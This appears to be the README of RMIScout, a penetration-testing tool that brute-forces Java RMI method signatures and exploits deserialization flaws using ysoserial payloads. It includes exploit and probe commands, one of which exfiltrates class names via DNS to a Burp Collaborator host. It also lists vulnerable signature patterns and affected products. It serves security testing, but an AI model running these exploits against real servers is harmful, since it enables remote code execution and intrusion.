
RMIScout uses wordlist and bruteforce strategies to enumerate Java RMI functions and exploit RMI parameter unmarshalling vulnerabilities
RMIScout enables wordlist and bruteforce attacks against exposed Java RMI interfaces to safely guess method signatures without invocation. It supports multiple Java RMI protocols, method invocation, and exploitation.
To identify but not execute RMI functions, RMIScout uses low-level RMI network functions and dynamic class generation to send RMI invocations with deliberately mismatched types to trigger remote exceptions. All parameters are substituted for a dynamically generated serializable class with a 255-character name assumed to not exist in the remote class path. For example:
Remote Interface:
void login(String user, String password)
RMIScout will invoke:
login((String) new QQkzkn3..255 chars..(), (String) new QQkzkn3..255 chars..())
If the class is present this will result in a remote java.rmi.UnmarshalException cased by the ClassNotFoundException or argument unmarshalling error without invoking the underlying method.
For more detailed technical writeups:
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>
Supply a wordlist of method prototypes to check for on the remote server. RMIScout will output all identified matches.
For RMI-IIOP/CORBA: Unless methods are overloaded, brute forcing and invocation only require names to match (all other information is ignored).
./rmiscout.sh bruteforce -i lists/methods.txt -r void,boolean,long -p String,int -l 1,4 <host> <port>
Supply a wordlist of candidate method names, then provide a comma-delimited list of candidate return types, number range of parameters, and candidate parameter types. Bruteforce mode will generate the permutations and look for matching signatures.
./rmiscout.sh exploit -s 'void vulnSignature(java.lang.String a, int b)' -p ysoserial.payloads.URLDNS -c "http://examplesubdomain.burpcollaborator.net" -n registryName <host> <port>
On misconfigured servers, any known RMI signature using non-primitive types (e.g., java.util.List), can be exploited by replacing the object with a serialized payload. This is a fairly common misconfiguration (e.g., VMWare vSphere Data Protection + vRealize Operations Manager, Pivotal tc Server and Gemfire, Apache Karaf + Cassandra) as highlighted in An Trinh's 2019 Blackhat EU talk.
RMIScout integrates with ysoserial to perform deserialization attacks against services incorrectly configuring process-wide serialization filters (JEP 290).
Examples of exploitable signatures:
void exampleMethod(java.util.Map a) // Any non-primitive types
void exampleMethod(float[] a) // Any type of array, even primitives
void exampleMethod(String a) // Works on older JDKs, see below...
Note: Signatures containing java.lang.String types are only exploitable in JRE 8/11/13/14 releases prior to early 2020 in RMI-JRMP, but are still currently exploitable in RMI-IIOP.
./rmiscout.sh invoke -p 1 -p 4 -s 'int add(int a, int b)' <host> <port>
./rmiscout.sh invoke -p 1,2,3,4 -s 'int addList(int[] a)' <host> <port>
RMIScout let's you invoke any signatures with primitives, primitive arrays, or Strings. More advanced types will require writing a custom client.
./rmiscout.sh probe -s 'void vulnSignature(java.lang.String a, int b)' -i ../GadgetProbe/wordlists/maven_popular.list -d "examplesubdomain.burpcollaborator.net" -n registryName <host> <port>
RMIScout integrates with GadgetProbe to identify classes in the remote classpath. Class names are exfiltrated via DNS.
Use the included rmiscout.sh script to automatically build the project and as a convenient wrapper around java -jar syntax:
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>
Alternatively, build the project manually and use traditional java -jar syntax:
# Manually build JAR
./gradlew shadowJar
java -jar build/libs/rmiscout-1.4-SNAPSHOT-all.jar wordlist -i lists/prototypes.txt <host> <port>
Note: RMI-IIOP (compile/runtime) and ysoserial (runtime) depend on JDK8.
Run the dockerized demo RMI server. Try out the included demo/wordlist.txt.
cd demo
./start_demo.sh
Q: How can I tell if <host>:<port> an RMI Registry?
Use ./rmiscout list <host> <port> to get information about registries on a remote server.
[INFO] Registries available on 127.0.0.1:1099 = [ActivationServer:com.bishopfox.example.ActivationImpl_Stub, plaintest:com.bishopfox.example.HelloInterface]
Or, use nmap's rmi-dumpregistry script:
nmap --script rmi-dumpregistry 172.17.0.1 -p 1099 -Pn